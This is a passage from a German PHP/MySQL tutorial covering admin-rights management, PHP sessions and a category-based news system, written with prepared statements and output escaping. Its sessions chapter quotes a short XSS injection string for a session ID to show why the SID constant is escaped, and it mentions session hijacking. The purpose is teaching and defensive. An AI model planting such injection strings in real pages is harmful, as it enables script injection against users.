<?php // [...] if (!$stmt->fetch()) { return 'Es wurde kein Admin mit dieser ID gefunden.'; } $stmt->close(); if ('Rechte speichern' == $_POST['formaction']) { // todo } else { $sql = 'SELECT ID, Name FROM Rechteliste ORDER BY Name ASC'; if (!$res = $db->query($sql)) { return $db->error; } $Rechteliste = array(); while ($row = $res->fetch_assoc()) { $Rechteliste[$row['ID']] = $row['Name']; } $res->free_result();
$sql = 'SELECT RechtID FROM Adminrechte WHERE UserID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $AdminID); $Adminrechte = array(); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($RechtID); while($stmt->fetch()) { $Adminrechte[] = $RechtID; } $stmt->close();
$sql = 'SELECT Username FROM User WHERE ID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $AdminID); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($Username); if (!$stmt->fetch()) { // Wenn dieser Code ausgeführt wird ist wirklich was // schiefgegangen. return 'Konnte nicht den Benutzernamen laden.'; } $stmt->close();
In dem Teil für Rechte speichern müssen wir neben dem Speichern
auch überprüfen ob sich der letzte Admin ausschließen will indem er sich
das Admin-Recht wegnimmt. Um die neuen Rechte zu speichern löschen
wir alle alten Rechte und fügen dann die Rechte neu ein. Das erspart uns
einiges an Programmlogik die entsprechen würde wenn wir z.B. nur die
Rechte löschen die überflüssig sind oder nur die Datensätze
hinzufügen die neu sind.
<?php // [...] if ('Rechte speichern' == $_POST['formaction']) { if (!isset($_POST['Recht'])) { return 'Der Admin muss mindestens ein Recht besitzen.'; } if (!is_array($_POST['Recht'])) { return INVALID_FORM; } // prüfen ob alle IDs gültig sind. $IDs = array(); $sql = 'SELECT ID FROM Rechteliste WHERE ID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } foreach ($_POST['Recht'] as $RechtID) { $stmt->bind_param('i', $RechtID); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($RechtID); if (!$stmt->fetch()) { return 'Es wurde kein Recht mit der angegebenen ID gefunden.'; } $IDs[] = $RechtID; } $stmt->close(); // IDs sind gültig, gucken ob der letzte admin sich ausschließen würde. // Hier gehen wir davon aus das 1 das Admin-Recht ist. if (!in_array(1, $IDs)) { // Wenn die 1 drin ist ist es eh egal, dann kriegt er ja // das Admin-Recht, aber so müssen wir es überprüfen. $sql = 'SELECT UserID FROM Adminrechte WHERE UserID != ? AND RechtID = 1'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $AdminID); if (!$stmt->execute()) { return $stmt->error; } $stmt->store_result(); if (!$stmt->num_rows) { return 'Sie können sich nicht selbst das Adminrecht nehmen da sonst '. 'keine Admins mehr vorhanden sind.'; } $stmt->close(); } // alte Rechte löschen $sql = 'DELETE FROM Adminrechte WHERE USerID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $AdminID); if (!$stmt->execute()) { return $stmt->error; } $stmt->close(); // neue Rechte hinzufügen $sql = 'INSERT INTO Adminrechte(UserID, RechtID) VALUES (?,?)'; if (!$stmt = $db->prepare($sql)) { return $db->error; } foreach ($IDs as $ID) { $stmt->bind_param('ii', $AdminID, $ID); if (!$stmt->execute()) { return $stmt->error; } } $stmt->close(); return showInfo('Die Rechte vom Admin wurden gespeichert.'); } else { // [...] } ?>
Nun können die einzelnen Admins bearbeitet werden.
6. Admin löschen
Einen Admin zu löschen ist hingegen wieder ganz einfach. Da braucht man
nur die Datensätze aus der Adminrechte-Tabelle zu löschen.
Da wir nur eine Template-Datei brauchen (zum Wählen des Admins) heißt
die Datei nur admin_Admin_del.tpl.
Wenn die Datei über die POST-Methode aufgerufen wird prüfen wir
zuerst die Formulardaten und löschen dann ggf. die Datensätze aus
der Adminrechte-Tabelle.
<?php $ret = array(); $ret['filename'] = 'admin_Admin_del.tpl'; $ret['data'] = array(); if ('POST' != $_SERVER['REQUEST_METHOD']) { return $ret; } if (!isset($_POST['formaction'], $_POST['AdminID'])) { return INVALID_FORM; } if ('' == $AdminID = trim($_POST['AdminID'])) { return EMPTY_FORM; } $sql = 'SELECT UserID FROM Adminrechte WHERE UserID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $AdminID); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($AdminID); if (!$stmt->fetch()) { return 'Es wurde kein Admin mit dieser ID gefunden.'; } $stmt->close(); if ($AdminID == $UserID) { return 'Sie können sich nicht selbst löschen.'; } $sql = 'DELETE FROM Adminrechte WHERE UserID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $AdminID); if (!$stmt->execute()) { return $stmt->error; } $stmt->close(); return showInfo('Der Admin wurde gelöscht.'); ?>
Je nach Definition ist eine Sitzung etwas, was über einen längeren Zeitraum andauert.
In unserem Fall könnte man z.B. Denken es ist damit der Zeitraum zwischen
Beginn und Ende der Internetbenutzung, die an einem Stück stattfindet. Wenn
man jetzt vom Flatrate-Verhalten absieht könnte z.B. die Internetnutzung
an der Arbeit um 9:00 Beginnen und um 12:00 enden. Diesen Zeitraum nennt
man dann Sitzung.
Für Webserver (und somit für PHP) existiert der Begriff Sitzung nicht so
wie wir ihn kennen, besonders nicht in dieser zeitlichen Länge. Für ihn
ist eine Sitzung vom Verbindungsaufbau vom Client bis zum Senden der
Antwort (meist HTML-Code), oder schlicht einfach die Dauer des
Requests. Dabei ist jede Anfrage in sich geschlossen,
es gibt (für den Webserver) keine semantische Verbindung zwischen
zwei Anfragen. Dies kann unerwünscht sein, wenn man sich z.B. das
beliebte Beispiel eines Warenkorbs eines Internetshops anguckt. Dort
würde man eine Sitzung mit der Verweildauer im Internetshop gleichsetzen.
Denn die Produkte die der Kunde ausgewählt hat müssen im Warenkorb hinterlegt
werden und wenn er zur Kasse geht wird der Warenkorb ausgelesen und die
Bestellung wird abgeschlossen. Was für den Benutzer wie eine lineare
Führung durch den Bestellprozess ist ist für den Webserver nichts anderes
als voneinander unabhängige Requests von beliebige Clients. Er weiß nicht
das der Request vor 5 Sekunden semantisch zum aktuellen Request passt.
2. Sessions in PHP
Wenn wir Daten von einem Skript an ein anderes Skript schicken benutzen
wir z.B. Links mit GET-Variablen oder Formulare mit hidden-Feldern.
Dabei stoßen wir auf einige Grenzen denn wir sollten keine überlange
URLs generieren die alle Daten enthalten die wir weitersenden wollen. Auch sollten
wir keine Formulare mit riesigen hidden-Feldern. Und
es könnte abenteuerlich werden wenn wir versuchen Arrays weiterzuleiten.
Aus all den Problemen mit der Datenweitergabe gibt es in PHP ein
Sitzungs-System, kurz Sessions. Das heißt das man sich als
Programmierer nicht mehr so viel Gedanken machen muss wie man Daten
von einem Skript an das nächste Skript übergibt. Denn bei Sessions
wird nur eine Identifikationsmarke weitergereicht.
3. Session-IDs
Da für ein Webserver jeder Request unabhängig von den anderen ist müssen
wir in PHP irgendwie die richtige Session auswählen die wir (weiter)verwenden
wollen. Daher brauchen wir eine Identifikation für die zu wählende Session.
Spontan könnte man an folgende Beispiele denken.
Die UserID - Die UserID von unserem Loginsystem wäre
eine Möglichkeit eine Session zu identifizieren. Jedoch ist nicht
überall wo PHP installiert ist auch ein Loginsystem programmiert, daher
ne schlechte Wahl.
Anhand der IP - So unverwechselbar eine IP-Adresse
auch ist, sie ist nicht für die Identifizierung einer Session geeignet.
Wenn man mit mehreren Browsern gleichzeitig surft oder die selbe
Internetleitung von mehreren Benutzern benutzt wird, kriegt
plötzlich der eine Benutzer die Daten aus der Session die eigentlich
jemanden anders gehört.
Fortlaufende Nummer - Es geht in die richtige Richtung. Jedoch
kann man dann die Identifikationen der anderen Sessions erraten, wenn
man z.B. weiß das der Admin mit sensible Daten vorher auf der
Seite war und man einfach die nächst kleinere Sessionnummer nimmt.
Siehe auch Session hijacking.
Zufällige Nummer - Dies ist die Lösung die üblicherweise
verwendet wird.
Immer wenn eine Session generiert wird wird auch eine zufällige Identifikation erstellt,
die sog. Session-ID. Mit dieser findet der Webserver die
richtige Session wieder. Da diese Session-ID reicht um die richtige Session wiederzufinden
reicht es auch nur diese Session-ID an das nächste Skript zu schicken. Wenn
das nächste Skript die Session-ID sieht kann es die vorherige Session anhand dieser
ID wieder laden. Wenn man also URLs der Form index.php?PHPSESSID=6ead67974b4a6794...
sieht... das ist die Session-ID.
4. Erzeugen bzw. laden einer Session
Um in PHP eine Session zu starten bzw. zu erzeugen wird die Funktion session_start
verwendet. Die selbe Funktion wird auch verwendet um eine vorherige Session zu starten. Somit
braucht man sich keine Gedanken machen ob man nun eine alte Session laden möchte oder ob
man eine neue beginnen möchte da man so oder so nur eine Funktion verwendet. Wenn
eine Session-ID übergeben wurde und unter dieser ID eine Session vorhanden ist so
läd die Funktion session_start die Session wieder. Wenn keine Session
mit der angegebenen Session-ID gefunden wurde oder überhaupt keine Session-ID angegeben
ist wird eine neue Session generiert.
5. Session benutzen
Nachdem eine Session erzeugt bzw. geladen wurde legt PHP ein neues Superglobales Array
$_SESSION an. In diesem Array können nun alle Daten gespeichert werden die
man möchte. Da es ein normales Array ist wird es auch wie ein normales Array benutzt.
<?php session_start(); // nun haben wir $_SESSION $_SESSION['Foo'] = 'Bar'; echo $_SESSION['Username']; ?>
Man kann mit dem Array alles machen, jedoch sollte man nicht das ganze Array
als solches mit unset($_SESSION); löschen. Die Session wird
abgespeichert wenn das PHP-Skript zuende ist oder die Funktion
session_write_close aufgerufen wird, je nach dem was früher eintritt.
Dann wird das $_SESSION-Array ausgelesen und die
Daten in eine Daten gespeichert die später anhand der Session-ID identifiziert
wird. Je nach Installation und Konfiguration von PHP wird dieses Datei z.B.
als /tmp/sess_5dae76576c5a7e5c4c2a54 gespeichert. Dort
liegt sie dann bis sie wieder durch einen session_start-Aufruf
geladen wird.
6. Übermitteln der Session-ID
Um im nächsten Skript die richtige Session zu laden müssen wir die
Session-ID übermitteln. Es gibt allgemein 3 Wege Daten an ein
PHP-Skript zu senden (unabhängig von Sessions): GET,
POST und COOKIE. Die
Session-ID kann über jeden dieser Wege gesendet werden.
Als GET-Variable wird sie in der Form PHPSESSID=...
übermittelt, als POST-Variable in der Form <input type="hidden" name="PHPSESSID" value="..." />
und als COOKIE der Form PHPSESSID=.... In der Regel
muss man sich entscheiden wie man die Session-ID übermittelt.
In URLs könnte sie verwirren, Cookies können deaktiviert sein und
nicht überall ist ein Formular vorhanden. Die Funktion
session_start versucht ein Cookie zu senden, in der
die Session-ID steht. Daher muss diese Funktion relativ früh
aufgerufen werden da sie entsprechend den HTTP-Header ergänzt.
Es gibt ne Menge an Konfigurationen
bezüglich Sessions wie z.B. der Transport der Session-ID. Hier könnte
auch die Einstellung session.use_trans_sid interessant sein.
Auf jedenfall wir die Session-ID in der Konstante SID abgelegt
(durch session_start). Die Konstante hat die Form
name=..., wobei name der Variablenname der
Session-ID ist (standardmäßig PHPSESSID) und die
Punkte die Session-ID entsprechen. Diese Konstante kann somit
relativ einfach in URLs verwendet werden.
Auch wenn die Konstante SID durch PHP erstellt wird wird ihr
Inhalt teils durch Benutzereingaben bestimmt. Wenn die Session-ID den
Inhalt " onload="alert(...); enthält hätten wir eine
XSS-Lücke. Daher jagen wir die Konstante durch
htmlspecialchars.
Falls beide Werte getrennt benötigt werden (also Variablenname und Session-ID)
kann man die Funktionen session_name und session_id
verwenden.
7. Dauer einer inaktiven Session
Die Lebensdauer einer inaktiven Session ist sehr kurz, je nach Konfiguration
etwa 30 Minuten. Wenn sie innerhalb dieser Zeit nicht geladen wird wird sie
von PHP gelöscht und ist weg. Dies erklärt auch einige Fehlermeldungen in
anderen Webanwendung wenn es plötzlich heißt "Ihre Session ist abgelaufen, melden
sie sich bitte neu an". Dann hat man sich zuviel Zeit gelassen und
PHP hat aufgeräumt und alte Sessions gelöscht. Dies bedeutet insbesondere
das man Sessions nicht verwendet um persistente Daten zu speichern. Also
bei einem Newssystem sollte man die News nicht in einer Session speichern.
Sessions dienen wirklich nur der temporären Übertragen von vielen Daten.
8. Sicherheit von Sessions
Die Inhalte von einer Session können in der Regel nur vom PHP-Skript bestimmt
werden, nicht durch den Benutzer. Anhand der Session-ID kann der Benutzer also
nicht irgendwie die Session auslesen oder sogar bearbeiten. Daher sind
alle Daten in einer Session vertrauenswürdig, es sei denn sie sind
natürlich durch Benutzereingaben gefüllt. So braucht man z.B. für ein
Login nicht die UserID und das Password speichern, die
UserID reicht völlig. Denn wenn die UserID vorhanden ist hat man (hoffentlich)
vorher auch geprüft ob der Login gültig ist.
Der Schwachpunkt ist hingegen die Session-ID. Da die Session-ID reicht
um die richtige Session zu laden ist sie ein beliebtes Ziel von Crackern
sie auszulesen und mitzubenutzen. Ein normaler Admin loggt sich
ein und ein Cracker hijacked
die Session-ID und benutzt seinen Account mit. Hier muss man sich
was einfallen lassen wie z.B. die IP-Adresse mitspeichern aber der
Kreativität von Cracker sind keine Grenzen gesetzt.
Da Sessions im Dateisystem normale Dateien sind und in
/tmp/ abgelegt werden können sie von jedem PHP-Skript
geladen werden oder sogar durch einen einfachen Texteditor auf dem
Server. So kann ein Cracker den Inhalt der Session nach belieben verändern
bzw. durch ein PHP-Skript auf den Server. Aber wenn der Cracker schon so weit
im System ist hat man ganz andere Probleme als eine Session mit komische Daten...
Da wir nun ein Loginsystem haben können wir ein neues
Newsskript mit mehr Funktionalität schreiben. Neben der
eigentlichen News wird es im Newssystem auch Links für Quellen,
Kommentare für Newsbeiträge und Newskategorien geben.
2. Aufbaue der MySQL-Tabellen
Wir werden user Newssystem so schreiben das eine News zu einer
Kategorie gehört. Wenn man möchte das eine News zu mehreren
Kategorien gehört muss man ähnliche Tabellen wie für
unser Adminbereich anlegen. In unserem Fall erstellen wir
zuerst die Tabelle News_Kategorie für die Kategorien.
ID - Selbsterklärend, ist eh immer das selbe.
Name - Der Name der Kategorie, ein
VARCHAR(40) mit NOT NULL sollte reichen.
Dann gibt es natürlich die Tabelle News mit den Newseinträgen.
ID - Klar.
AutorID - Die ID vom Benutzer der die News geschrieben hat.
Daher ist der Typ INT mit NOT NULL.
Titel - Wie im einfachen Newsskript VARCHAR(100) mit
NOT NULL.
Datum - Auch wie im einfachen Newsskript vom Typ DATETIME mit
NOT NULL
Inhalt - Typ it TEXT mit den Attribut NOT NULL.
KatID - Diese Spalte enthält die ID der Kategorie zu der die
News gehört. Da alle unsere IDs den Spaltentyp INT haben bekommt
auch diese Spalte den Typ INT mit NOT NULL.
Für die Kommentare der News legen wir die Tabelle News_Kommentar an.
ID - Wie immer.
AutorID - Die ID desjenigen der den Kommentar geschrieben hat.
Typ ist INT mit NOT NULL.
Inhalt - Der Kommentar selbst, vom Typ TEXT mit
NOT NULL.
Datum - Der Zeitpunkt wann der Kommentar verfasst wurde, Typ
ist DATETIME mit NOT NULL.
NewsID - Die ID von der News zu der dieser Kommentar gehört.
Daher vom Typ INT mit NOT NULL.
Falls es zu einer News Quellenangaben oder anderseitig Links gibt werden diese
in der Tabelle News_Link gespeichert.
ID - Siehe oben.
NewsID - Die News zu der der Link gehört. Typ ist
INT mit NOT NULL.
URL - Die eigentlichen URL vom Link, der Typ
VARCHAR(150) sollte reichen, wie überall mit dem
Attribut NOT NULL.
Beschreibung - Ein aussagekräftiger Name für den
Link, Typ ist VARCHAR(100) mit NOT NULL.
Diese Tabellen fügen wir nun mit phpMyAdmin in die Datenbank ein. Die
alte News-Tabelle muss man ggf. vorher löschen.
3. Kategorie hinzufügen
Zuerst schreiben wir den Adminteil in der wir die Kategorien bearbeiten können
da es ohne Kategorien auch keine News geben kann. In der Rechteliste-Tabelle
fügen wir dafür das neue Recht NewsKat ein. Aufgrund des neuen
Recht werden wir die Dateien admin_NewsKat_add.php, admin_NewsKat_edit.php
und admin_NewsKat_del.php hinzufügen müssen. Aber zuerst der
Teil zum hinzufügen neuer Kategorien.
Zuerst schreiben wir die Template-Datei admin_NewsKat_add.tpl.
Die Include-Datei admin_NewsKat_add.php sieht wie folgt aus.
<?php $ret = array(); $ret['filename'] = 'admin_NewsKat_add.tpl'; $ret['data'] = array(); if ('POST' != $_SERVER['REQUEST_METHOD']) { return $ret; } if (!isset($_POST['formaction'], $_POST['Name'])) { return INVALID_FORM; } if ('' == $Name = trim($_POST['Name'])) { return EMPTY_FORM; } $sql = 'SELECT ID FROM News_Kategorie WHERE Name = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('s', $Name); if (!$stmt->execute()) { return $stmt->error; } if ($stmt->fetch()) { return 'Es ist bereits eine Kategorie mit diesen Namen vorhanden.'; } $stmt->close(); $sql = 'INSERT INTO News_Kategorie(Name) VALUES (?)'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('s', $Name); if (!$stmt->execute()) { return $stmt->error; } $stmt->close(); return showInfo('Die Kategorie wurde hinzugefügt.'); ?>
4. Kategorie bearbeiten
Wir beginnen wieder zuerst mit den Template-Dateien. Zuerst schreiben wir
die Datei admin_NewsKat_edit_select.tpl um eine Kategorie auszuwählen.
<?php
/* Daten:
* Kategorien - Ein Array mit allen bereits vorhandenen Kategorien. Bei einem Arrayelement
* ist der Schlüssel die ID und der Wert der Name der Kategorie.
*/
?><form action="index.php?section=admin&cat=NewsKat&action=edit" method="post">
<fieldset>
<legend>Kategorie wählen</legend>
<label>Kategorie <select name="KatID">
<option value="0">Bitte wählen</option>
<?php foreach ($data['Kategorien'] as $key => $value) { ?>
<option value="<?php echo $key; ?>"><?php echo htmlspecialchars($value); ?></option>
<?php } ?>
</select></label>
<input type="submit" name="formaction" value="Kategorie wählen">
</fieldset>
</form>
In der Include-Datei zeigen wir dieses Template an wenn die Datei nicht mit
der POST-Methode aufgerufen wurde.
<?php $ret = array(); $ret['filename'] = 'admin_NewsKat_edit_select.tpl'; $ret['data'] = array(); if ('POST' != $_SERVER['REQUEST_METHOD']) { $sql = 'SELECT ID, Name FROM News_Kategorie ORDER BY Name ASC'; if (!$result = $db->query($sql)) { return $db->error; } $Kategorien = array(); while ($row = $result->fetch_assoc()) { $Kategorien[$row['ID']] = $row['Name']; } $ret['data']['Kategorien'] = $Kategorien; $result->close(); return $ret; } ?>
Wenn wir nun eine Kategorie auswählen zeigen wir die Daten in einem
weiteren Template admin_NewsKat_edit_show.tpl an.
<?php
/* Daten:
* KatID - Die ID von der Kategorie
* Name - Der Name der Kategorie
*/
?><form action="index.php?section=admin&cat=NewsKat&action=edit" method="post">
<fieldset>
<legend>Kategorie bearbeiten</legend>
<label>Name: <input type="text" name="Name" value="<?php echo htmlspecialchars($data['Name']); ?>" /></label>
<input type="submit" name="formaction" value="Kategorie speichern" />
<input type="hidden" name="KatID" value="<?php echo $data['KatID']; ?>" />
</fieldset>
</form>
Anhand der benötigten Variablen wissen wir wie unserer Include-Datei aussehen muss.
<?php // [...] $ret['data']['Kategorien'] = $Kategorien; $result->close(); return $ret; } if (!isset($_POST['formaction'], $_POST['KatID'])) { return INVALID_FORM; } if ('' == $KatID = trim($_POST['KatID'])) { return EMPTY_FORM; } $sql = 'SELECT ID, Name FROM News_Kategorie WHERE ID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $KatID); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($KatID, $Name); if (!$stmt->fetch()) { return 'Es wurde keine News mit der angegebenen ID gefunden.'; } $stmt->close(); if ($_POST['formaction'] == 'Kategorie speichern') { // todo } else { $ret['data']['KatID'] = $KatID; $ret['data']['Name'] = $Name; $ret['filename'] = 'admin_NewsKat_edit_show.tpl'; return $ret; } ?>
Wenn der Admin auf Kategorie speichern klickt speichern
wie den neuen Namen ab, solange er nicht doppel oder leer ist.
<?php // [...] if ($_POST['formaction'] == 'Kategorie speichern') { if (!isset($_POST['Name'])) { return INVALID_FORM; } if ('' == $Name = trim($_POST['Name'])) { return EMPTY_FORM; } $sql = 'SELECT ID FROM News_Kategorie WHERE Name = ? AND ID != ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('si', $Name, $KatID); if (!$stmt->execute()) { return $stmt->error; } if ($stmt->fetch()) { return 'Es ist bereits eine Kategorie mit den Namen vorhanden.'; } $stmt->close(); $sql = 'UPDATE News_Kategorie SET Name = ? WHERE ID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('si', $Name, $KatID); if (!$stmt->execute()) { return $stmt->error; } $stmt->close(); return showInfo('Die Kategorie wurde bearbeitet.'); } else { // [...] ?>
5. Kategorie löschen
Wie beim Bearbeiten schreiben wir ein Template welches eine Auswahlliste aller
Kategorien bereitstellt. Das Template ist fast identisch wie beim Bearbeiten.
<?php
/* Daten:
* Kategorien - Ein Array mit allen bereits vorhandenen Kategorien. Bei einem Arrayelement
* ist der Schlüssel die ID und der Wert der Name der Kategorie.
*/
?><form action="index.php?section=admin&cat=NewsKat&action=del" method="post">
<fieldset>
<legend>Kategorie wählen</legend>
<label>Kategorie <select name="KatID">
<option value="0">Bitte wählen</option>
<?php foreach ($data['Kategorien'] as $key => $value) { ?>
<option value="<?php echo $key; ?>"><?php echo htmlspecialchars($value); ?></option>
<?php } ?>
</select></label>
<input type="submit" name="formaction" value="Kategorie löschen">
</fieldset>
</form>
In der Include-Datei laden wir erstmal alle Kategorien in ein Array und zeigen
das Template an.
<?php $ret = array(); $ret['filename'] = 'admin_NewsKat_del.tpl'; $ret['data'] = array(); $sql = 'SELECT ID, Name FROM News_Kategorie ORDER BY Name ASC'; if (!$result = $db->query($sql)) { return $db->error; } $Kategorien = array(); while ($row = $result->fetch_assoc()) { $Kategorien[$row['ID']] = $row['Name']; } $ret['data']['Kategorien'] = $Kategorien; if ('POST' != $_SERVER['REQUEST_METHOD']) { return $ret; } ?>
Beim Löschen müssen wir aufpassen das wir keine Kategorie löschen zu denen
noch Newsbeiträge gehören. Daher schreiben wir einige Abfragen ob wir
die News auch wirklich löschen können.
<?php // [...] if ('POST' != $_SERVER['REQUEST_METHOD']) { return $ret; } if (!isset($_POST['formaction'], $_POST['KatID'])) { return INVALID_FORM; } if ('' == $KatID = trim($_POST['KatID'])) { return EMPTY_FORM; } $sql = 'SELECT ID FROM News_Kategorie WHERE ID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $KatID); if (!$stmt->execute()) { return $stmt->error; } $stmt->bind_result($KatID); if (!$stmt->fetch()) { return 'Es wurde keine Kategorie mit der angegebenen ID gefunden.'; } $stmt->close();
$sql = 'SELECT ID FROM News WHERE KatID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $KatID); if (!$stmt->execute()) { return $stmt->error; } if ($stmt->fetch()) { return 'Es gibt noch Newsbeiträge die diese Kategorie verwenden.'; } $stmt->close();
$sql = 'DELETE FROM News_Kategorie WHERE ID = ?'; if (!$stmt = $db->prepare($sql)) { return $db->error; } $stmt->bind_param('i', $KatID); if (!$stmt->execute()) { return $stmt->error; } $stmt->close(); return showInfo('Die Kategorie wurde gelöscht.'); ?>
6. News hinzufügen
Beim hinzufügen (und bearbeiten) einer News müssen wir uns überlegen wie wir
die Formulare aufbauen. Neben der eigentlichen News müssen z.B. auch die
Newslinks angegeben werden. Es gibt verschiedene Möglichkeiten wie man das
machen kann.
Wenn wir eine News hinzugefügt haben könnten wir die Newslinks über
ein extra Adminbereich bearbeiten, also auch wieder mit links woe
Hinzufügen, Bearbeiten und
Löschen. Dies ist jedoch umständlich für jede News
zwei Bereiche zu benutzen (einmal News und dann z.B.
ein Bereich NewsLink).
In der Eingabemaske der News bieten wir z.B. 5 Zeilen an in der wir
die Links mit den Beschreibungen hinzufügen können. Wenn wir 6 Links
hinzufügen wollen haben wir ein Problem. Wenn wir die Anzahl von 5 auf
6 erhöhen haben wir das selbe Problem wenn wir 7 Links hinzufügen.
Egal wie groß wir N wählen, wir können nie N+1
Links hinzufügen. Und die vielen Eingabefelder würden stören wenn
wir nur einen Link hinzufügen wollen.
Wir könnten die Eingabefelder dynamisch mit Javascript hinzufügen.
Javascript ist jedoch nicht bestandteil des Tutorials.
Innerhalb des Adminbereichs der News bieten wir ein Formular an
um einen einzelnen Link hinzuzufügen. Diesen speichern wir schonmal in der
Datenbank ab. Wenn wir dann die News hinzufügen ändern wir die
IDs der Links bzw. übernehmen die Links aus einer Temporären Tabelle.
Nur dumm wenn wir den Vorgang abbrechen, dann haben wir in der
Datenbank Newslinks die zu keiner News gehören.
So hoffnungslos es auch scheinen mag, es gibt ne Lösung genannt Session.
Wir bereiten die Newserstellung vor indem wir erst alle Daten in einer Session speichern
und dann erst in die Datenbank einfügen wenn wir fertig sind. So wird die
Datenbank nicht vorher mit ungenutzten Müll gefüttert sondern alle Daten liegen
erstmal in der Session. Wenn der Vorgang abgebrochen wird verfällt die Session eh nach
einiger Zeit.
Zur Vorbereitung der Session setzen wir die session.use_only_cookies-Einstellung
auf 1, damit die Session-ID nur per Cookie übermittelt wird. Dies machen wir
in der index.php-Datei nach dem einstellen des Error-Reportings.
<?php
/* Daten:
* Titel - Der Titel der News
* Inhalt - Der Text der News
* KatID - Die ID der aktuell gewählten Kategorie
* Kategorien - Ein Array mit allen Kategorien. Bei einem Arrayelement ist der Schlüssel
* die ID und der Wert der Name der Kategorie.
* Links - Ein Array mit den Links die zu der News gehört. Bei einem Arrayelement ist der
* Schlüssel eine fortlaufende Nummer, der Wert entspricht einem assoziativen
* Array mit den Schlüssel 'URL' und 'Beschreibung' mit den entsprechenden Werten.
*/
?><form action="index.php?section=admin&cat=News&action=add" method="post">
<fieldset>
<legend>News hinzufügen</legend>
<label>Titel <input type="text" name="Titel" value="<?php echo htmlspecialchars($data['Titel']); ?>" /></label>
<label>Inhalt <textarea name="Inhalt" cols="40" rows="10"><?php echo htmlspecialchars($data['Inhalt']); ?></textarea></label>
<label>Kategorie <select name="KatID">
<option value="0">Bitte wählen</option>
<?php foreach ($data['Kategorien'] as $key => $value) {
if ($data['KatID'] == $key) { ?>
<option value="<?php echo $key; ?>" selected="selected"><?php echo htmlspecialchars($value); ?></option>
<?php } else { ?>
<option value="<?php echo $key; ?>"><?php echo htmlspecialchars($value); ?></option>
<?php }
} ?>
</select>
</label>
<fieldset>
<legend>Newslinks</legend>
<?php if (count($data['Links'])) { ?>
<ul>
<?php foreach ($data['Links'] as $key => $value) { ?>
<li><label>
<input type="checkbox" name="LinkID[]" value="<?php echo $key; ?>"/>
<?php echo htmlspecialchars($value['Beschreibung']); ?></label> -
<a href="<?php echo htmlspecialchars($value['URL']); ?>"><?php echo htmlspecialchars($value['URL']); ?></a>
</li>
<?php } ?>
</ul>
<input type="submit" name="formaction" value="Markierte Links löschen" />
<?php } else { ?>
<p class="info">
Es sind momentan keine Links hinzugefügt.
</p>
<?php } ?>
<fieldset>
<legend>Neuen Link hinzufügen</legend>
<label>URL: <input type="text" name="URL" /></label>
<label>Beschreibung: <input type="text" name="Beschreibung" /></label>
<input type="submit" name="formaction" value="Link hinzufügen" />
</fieldset>
</fieldset>
<input type="submit" name="formaction" value="News hinzufügen" />
</fieldset>
</form>
Wie man sieht wird das Template mit diversen Werten gefüllt und das
Template selbst enthält mehrere Submit-Buttons mit unterschiedlichen
Beschriftungen für entsprechend unterschiedliche Aktionen.
All diese Aktionen müssen wir in unserem PHP-Skript abfragen. Außerdem
müssen wir eine Session starten und alle Felder vorinitialisieren.
$sql = 'SELECT ID, Name FROM News_Kategorie ORDER BY Name ASC'; if (!$result = $db->query($sql)) { return $db->error; } $Kategorien = array(); while ($row = $result->fetch_assoc()) { $Kategorien[$row['ID']] = $row['Name']; } $ret['data']['Kategorien'] = $Kategorien;
Falls ein Formularknopf verwendet wird prüfen wir zuerst
ob alle Formularfelder vorhanden ist, egal ob wir sie in diesem
Aufruf verwenden oder nicht. Danach speichern wir stehts die
Felder Titel, Inhalt und
KatID in der Session.
<?php // [...] } else { // Aufruf der POST und Session vorinitialisiert if (!isset($_POST['formaction'], $_POST['Titel'], $_POST['Inhalt'], $_POST['KatID'], $_POST['URL'], $_POST['Beschreibung'])) { return INVALID_FORM; }